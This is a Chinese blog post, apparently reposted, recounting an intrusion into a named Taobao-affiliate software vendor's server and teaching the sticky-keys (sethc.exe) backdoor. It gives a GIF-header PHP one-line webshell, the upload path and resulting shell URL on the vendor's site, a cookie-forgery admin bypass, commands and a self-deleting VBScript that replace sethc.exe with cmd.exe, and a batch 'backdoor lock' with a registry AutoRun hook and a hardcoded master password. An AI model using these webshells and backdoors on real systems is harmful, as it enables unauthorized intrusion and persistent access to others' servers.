最新消息:

淘帝淘宝客安全意识差,编写源码漏洞太多,直接拿下服务器(vps)|sethc.exe后门

别人经典渗透过程学习 admin 2123浏览 0评论

1、演示站后台竟然有一个地方可上传图片,没有禁止上传。
2、上传图片简单过滤,很容易突破,上传php文件,并能执行。
3、服务器(vps)配置严重低级,拿到webshell之后直接是系统权限,windows系统,替换sethc.exe,直接远程桌面连接即可。
4、其所销售的源代码同样存在此上传漏洞。
5、其所销售的源代码还存在伪造cookie直接进入后台漏洞。所以其所销售的源代码网站后台路径不改,可直接修改cookie进入后台,插入一句话木马或者直接上传可执行文件,拿到webshell。

 

118

 

1、上传地址是:后台-首页配置-分类产品-下面图片上传

2、直接构造shell.php文件代码是

GIF89A
<?php @eval($_POST['pass']);?>

3、上传即可得到shell,地址是:http://pro.taodisoft.com/img/index/shell.php

4、拿到webshell之后就是系统权限了。。。。。。。

 

119

 

120

 

把sethc.exe替换成cmd.exe了

 

变态入侵之有史以来最酷的Windows后门sethc.exe

后门原理:

在windows 2000/xp/vista下,按shift键5次,可以打开粘置,会运行sethc.exe,而且,在登录界面里也可以打开。这就让人联想到WINDOWS的屏保,将程序替换成cmd.exe后,就可以打开shell了。

XP:

将安装源光盘弹出(或将硬盘上的安装目录改名)
cd %widnir%\system32\dllcache
ren sethc.exe *.ex~
cd %widnir%\system32
copy /y cmd.exe sethc.exe

VISTA:

takeown /f c:\windows\system32\sethc.exe
cacls c:\windows\system32\sethc.exe /G administrator:F
然后按XP方法替换文件

在登录界面按5此SHIFT,出来cmd shell,然后……

后门扩展:

复制代码 代码如下:
Dim obj, success
Set obj = CreateObject(“WScript.Shell”)
success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe”, 0, True)
success = obj.run(“cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F”, 0, True)
success = obj.run(“cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe”, 0, True)
success = obj.run(“cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe”, 0, True)
success = obj.run(“cmd /c del %SystemRoot%\system32\sethc.exe”, 0, True)
success = obj.run(“cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe”, 0, True)

第二句最有意思了.自动应答….以前就遇到过类似的问题
再更新.加个自删除,简化代码…

复制代码 代码如下:
On Error Resume Next
Dim obj, success
Set obj = CreateObject(“WScript.Shell”)
success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe”, 0, True)
CreateObject(“Scripting.FileSystemObject”).DeleteFile(WScript.ScriptName)

后门锁扩展:
allyesno注:可以采用cmd 锁 来进行cmdshell的密码验证
用下面的后门锁的方法是 把代码保存为bdlock.bat
然后修改注册表位置即可

复制代码 代码如下:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
“AutoRun”=”bdlock.bat”

@Echo Off
title 后门登陆验证
color a
cls
set temprandom=%RANDOM%
echo 请输入验证码:%temprandom%
set/p check=
if “%check%”==”%temprandom%%temprandom%” goto passcheck
if “%check%”==”%temprandom%” (
rem 后门服务器验证
rem 如果没有后门验证服务器请rem注释掉下一行代码
if exist \192.168.8.8\backdoor$\pass goto passcheck
)
echo 验证失败
pause
exit
:passcheck
echo 验证成功
If “%passcmdlock%”==”http://blog.csdn.net/freexploit/” Goto endx
Set passcmdlock=http://blog.csdn.net/freexploit/
:allyesno
Set Errorlevel=>nul
Echo 请输入验证密码?
Set password=allyesno Is a pig>nul
Set/p password=
rem 万能密码
if “%password%”==”allyesno is a sb” goto endx
If %time:~1,1%==0 Set timechange=a
If %time:~1,1%==1 Set timechange=b
If %time:~1,1%==2 Set timechange=c
If %time:~1,1%==3 Set timechange=d
If %time:~1,1%==4 Set timechange=e
If %time:~1,1%==5 Set timechange=f
If %time:~1,1%==6 Set timechange=g
If %time:~1,1%==7 Set timechange=h
If %time:~1,1%==8 Set timechange=i
If %time:~1,1%==9 Set timechange=j
set/a sum=%time:~1,1%+%time:~1,1%
Set password|findstr “^password=%timechange%%time:~1,1%%date:~8,2%%sum%$”>nul
If “%errorlevel%”==”0” cls&Echo 口令正确&Goto End
Echo 请联系客服咨询正确密码!&Goto allyesno
:End
Set password=>nul
Set Errorlevel=>nul
Echo

:endx

转载请注明:jinglingshu的博客 » 淘帝淘宝客安全意识差,编写源码漏洞太多,直接拿下服务器(vps)|sethc.exe后门

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (1)

  1. sethc.exe是windows的粘滞键,按5下shift后,windows就执行了system32下的sethc.exe。很多黑客会CMD.exe文件来替换此文件的方式给自己留后门
    admin12年前 (2013-08-16)回复